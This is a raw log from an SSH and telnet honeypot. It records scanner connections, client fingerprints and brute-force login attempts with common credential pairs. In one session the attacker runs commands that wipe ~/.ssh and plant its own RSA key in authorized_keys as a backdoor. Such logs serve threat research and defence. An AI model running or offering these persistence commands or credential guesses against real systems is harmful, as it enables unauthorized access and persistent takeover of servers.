{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:36.006891Z","src_ip":"185.196.10.227","session":"9e5e3f3da9ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:36.120996Z","src_ip":"185.196.10.227","session":"9e5e3f3da9ce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"asd123...","message":"login attempt [root/asd123...] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:36.610206Z","src_ip":"185.196.10.227","session":"9e5e3f3da9ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:36.875029Z","src_ip":"185.196.10.227","session":"9e5e3f3da9ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:36.878371Z","src_ip":"185.196.10.227","session":"9e5e3f3da9ce","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:36.881861Z","src_ip":"185.196.10.227","session":"9e5e3f3da9ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:36.998791Z","src_ip":"185.196.10.227","session":"9e5e3f3da9ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:37.260225Z","src_ip":"185.196.10.227","session":"9e5e3f3da9ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:37.262638Z","src_ip":"185.196.10.227","session":"9e5e3f3da9ce","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:37.380435Z","src_ip":"185.196.10.227","session":"9e5e3f3da9ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:37.383983Z","src_ip":"185.196.10.227","session":"9e5e3f3da9ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":57260,"dst_ip":"159.203.135.109","dst_port":22,"session":"20840d32b781","protocol":"ssh","message":"New connection: 185.196.10.227:57260 (159.203.135.109:22) [session: 20840d32b781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:37.491171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:37.495588Z","src_ip":"185.196.10.227","session":"20840d32b781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:37.609954Z","src_ip":"185.196.10.227","session":"20840d32b781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:38.098663Z","src_ip":"185.196.10.227","session":"20840d32b781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:39.300538Z","src_ip":"185.196.10.227","session":"20840d32b781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":57270,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fc9ad06d0da","protocol":"ssh","message":"New connection: 185.196.10.227:57270 (159.203.135.109:22) [session: 7fc9ad06d0da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:39.406997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:39.412550Z","src_ip":"185.196.10.227","session":"7fc9ad06d0da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:39.524037Z","src_ip":"185.196.10.227","session":"7fc9ad06d0da","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:39.997428Z","src_ip":"185.196.10.227","session":"7fc9ad06d0da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:40.111409Z","src_ip":"185.196.10.227","session":"9e5e3f3da9ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:40.117037Z","src_ip":"185.196.10.227","session":"7fc9ad06d0da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.100","src_port":63064,"dst_ip":"159.203.135.109","dst_port":23,"session":"f18e9076adf5","protocol":"telnet","message":"New connection: 147.185.132.100:63064 (159.203.135.109:23) [session: f18e9076adf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:00:05.176594Z"}
{"eventid":"cowrie.session.closed","duration":9.972469806671143,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:00:15.148896Z","src_ip":"147.185.132.100","session":"f18e9076adf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":39090,"dst_ip":"10.17.0.5","dst_port":22,"session":"75e1089d70ea","protocol":"ssh","message":"New connection: 195.178.110.218:39090 (10.17.0.5:22) [session: 75e1089d70ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:00:20.681826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:00:20.687690Z","src_ip":"195.178.110.218","session":"75e1089d70ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:00:20.767942Z","src_ip":"195.178.110.218","session":"75e1089d70ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:00:21.007888Z","src_ip":"195.178.110.218","session":"75e1089d70ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:00:22.090989Z","src_ip":"195.178.110.218","session":"75e1089d70ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":57080,"dst_ip":"159.203.135.109","dst_port":22,"session":"471b68ba0e96","protocol":"ssh","message":"New connection: 185.196.10.227:57080 (159.203.135.109:22) [session: 471b68ba0e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:23.387345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:23.392714Z","src_ip":"185.196.10.227","session":"471b68ba0e96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:23.502592Z","src_ip":"185.196.10.227","session":"471b68ba0e96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"composer","password":"12345","message":"login attempt [composer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:23.972248Z","src_ip":"185.196.10.227","session":"471b68ba0e96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:25.084666Z","src_ip":"185.196.10.227","session":"471b68ba0e96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54486,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3239c4badb1","protocol":"ssh","message":"New connection: 2.57.122.208:54486 (159.203.135.109:22) [session: c3239c4badb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:34.171246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:34.176759Z","src_ip":"2.57.122.208","session":"c3239c4badb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:34.308074Z","src_ip":"2.57.122.208","session":"c3239c4badb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:34.708419Z","src_ip":"2.57.122.208","session":"c3239c4badb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:35.810504Z","src_ip":"2.57.122.208","session":"c3239c4badb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":44150,"dst_ip":"159.203.135.109","dst_port":22,"session":"af1eb049de44","protocol":"ssh","message":"New connection: 92.118.39.92:44150 (159.203.135.109:22) [session: af1eb049de44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:48.675065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:48.692674Z","src_ip":"92.118.39.92","session":"af1eb049de44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:48.776412Z","src_ip":"92.118.39.92","session":"af1eb049de44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:49.164975Z","src_ip":"92.118.39.92","session":"af1eb049de44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:50.266726Z","src_ip":"92.118.39.92","session":"af1eb049de44","protocol":"ssh"}
